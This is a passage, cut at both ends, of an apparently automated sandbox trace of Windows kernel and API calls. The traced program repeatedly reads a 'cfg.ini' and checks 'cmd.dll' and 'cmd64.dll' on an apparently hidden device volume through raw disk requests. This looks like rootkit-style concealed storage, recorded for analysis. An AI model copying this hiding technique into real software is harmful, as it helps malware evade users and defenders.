0xfffffa8003b863b0 [0126.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.931] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.931] IdePortDispatch () returned 0x103 [0126.932] KeWaitForMutexObject () returned 0x0 [0126.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.932] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.932] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.932] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.932] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.932] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7fb0 [0126.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.932] KeLeaveCriticalRegion () [0126.932] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.932] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.932] KeEnterCriticalRegion () [0126.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.932] KeLeaveCriticalRegion () [0126.932] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.932] KeEnterCriticalRegion () [0126.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.932] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.932] IdePortDispatch () returned 0x103 [0126.933] KeWaitForMutexObject () returned 0x0 [0126.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.933] KeLeaveCriticalRegion () [0126.933] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.933] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.933] KeEnterCriticalRegion () [0126.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.933] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3b000 [0126.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.933] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.933] IdePortDispatch () returned 0x103 [0126.933] KeWaitForMutexObject () returned 0x0 [0126.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.933] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.933] IdePortDispatch () returned 0x103 [0126.934] KeWaitForMutexObject () returned 0x0 [0126.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.934] KeLeaveCriticalRegion () [0126.934] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.934] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.934] KeEnterCriticalRegion () [0126.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.934] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.934] KeLeaveCriticalRegion () [0126.935] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.935] KeEnterCriticalRegion () [0126.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.935] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.935] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.935] KeLeaveCriticalRegion () [0126.935] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.935] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.935] KeEnterCriticalRegion () [0126.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.935] ExFreePoolWithTag (P=0xfffffa800c4f7fb0, Tag=0x0) [0126.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.935] KeLeaveCriticalRegion () [0126.935] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.935] ReleaseMutex (hMutex=0xf0) returned 1 [0126.935] Sleep (dwMilliseconds=0x124f80) [0126.954] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.954] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.954] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.954] KeEnterCriticalRegion () [0126.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.954] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.954] IdePortDispatch () returned 0x103 [0126.955] KeWaitForMutexObject () returned 0x0 [0126.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.955] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.955] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.955] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.955] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.955] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7660 [0126.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.955] KeLeaveCriticalRegion () [0126.955] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.955] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.955] KeEnterCriticalRegion () [0126.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.955] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.955] KeLeaveCriticalRegion () [0126.955] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.955] KeEnterCriticalRegion () [0126.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.955] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.955] IdePortDispatch () returned 0x103 [0126.956] KeWaitForMutexObject () returned 0x0 [0126.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.956] KeLeaveCriticalRegion () [0126.956] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.956] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.956] KeEnterCriticalRegion () [0126.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.956] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b40000 [0126.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.956] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.956] IdePortDispatch () returned 0x103 [0126.956] KeWaitForMutexObject () returned 0x0 [0126.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.956] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.957] IdePortDispatch () returned 0x103 [0126.957] KeWaitForMutexObject () returned 0x0 [0126.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.957] KeLeaveCriticalRegion () [0126.957] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.957] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.958] KeEnterCriticalRegion () [0126.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.958] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.958] KeLeaveCriticalRegion () [0126.958] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.958] KeEnterCriticalRegion () [0126.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.958] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.958] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7910, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.958] KeLeaveCriticalRegion () [0126.958] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.958] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.958] KeEnterCriticalRegion () [0126.958] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.958] ExFreePoolWithTag (P=0xfffffa800c4f7660, Tag=0x0) [0126.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.958] KeLeaveCriticalRegion () [0126.958] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.958] ReleaseMutex (hMutex=0xf0) returned 1 [0126.958] Sleep (dwMilliseconds=0x124f80) [0126.976] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.976] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.976] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.977] KeEnterCriticalRegion () [0126.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.977] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.977] IdePortDispatch () returned 0x103 [0126.977] KeWaitForMutexObject () returned 0x0 [0126.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.977] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.977] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.977] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.977] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.977] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc770 [0126.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.977] KeLeaveCriticalRegion () [0126.977] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.977] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.977] KeEnterCriticalRegion () [0126.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.977] KeLeaveCriticalRegion () [0126.977] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.977] KeEnterCriticalRegion () [0126.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.978] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.978] IdePortDispatch () returned 0x103 [0126.978] KeWaitForMutexObject () returned 0x0 [0126.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.978] KeLeaveCriticalRegion () [0126.978] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.978] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.978] KeEnterCriticalRegion () [0126.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b45000 [0126.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.978] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.978] IdePortDispatch () returned 0x103 [0126.979] KeWaitForMutexObject () returned 0x0 [0126.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.979] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.979] IdePortDispatch () returned 0x103 [0126.979] KeWaitForMutexObject () returned 0x0 [0126.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.979] KeLeaveCriticalRegion () [0126.979] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.980] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.980] KeEnterCriticalRegion () [0126.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.980] KeLeaveCriticalRegion () [0126.980] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.980] KeEnterCriticalRegion () [0126.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.980] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.980] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.980] KeLeaveCriticalRegion () [0126.980] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.980] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.980] KeEnterCriticalRegion () [0126.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.980] ExFreePoolWithTag (P=0xfffffa8003acc770, Tag=0x0) [0126.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.980] KeLeaveCriticalRegion () [0126.980] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.980] ReleaseMutex (hMutex=0xf0) returned 1 [0126.980] Sleep (dwMilliseconds=0x124f80) [0127.000] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.000] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.000] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.000] KeEnterCriticalRegion () [0127.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.000] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.000] IdePortDispatch () returned 0x103 [0127.000] KeWaitForMutexObject () returned 0x0 [0127.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.000] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.000] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.000] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.000] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.000] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7950 [0127.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.000] KeLeaveCriticalRegion () [0127.000] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.000] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.000] KeEnterCriticalRegion () [0127.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.001] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.001] KeLeaveCriticalRegion () [0127.001] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.001] KeEnterCriticalRegion () [0127.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.001] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.001] IdePortDispatch () returned 0x103 [0127.001] KeWaitForMutexObject () returned 0x0 [0127.001] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.001] 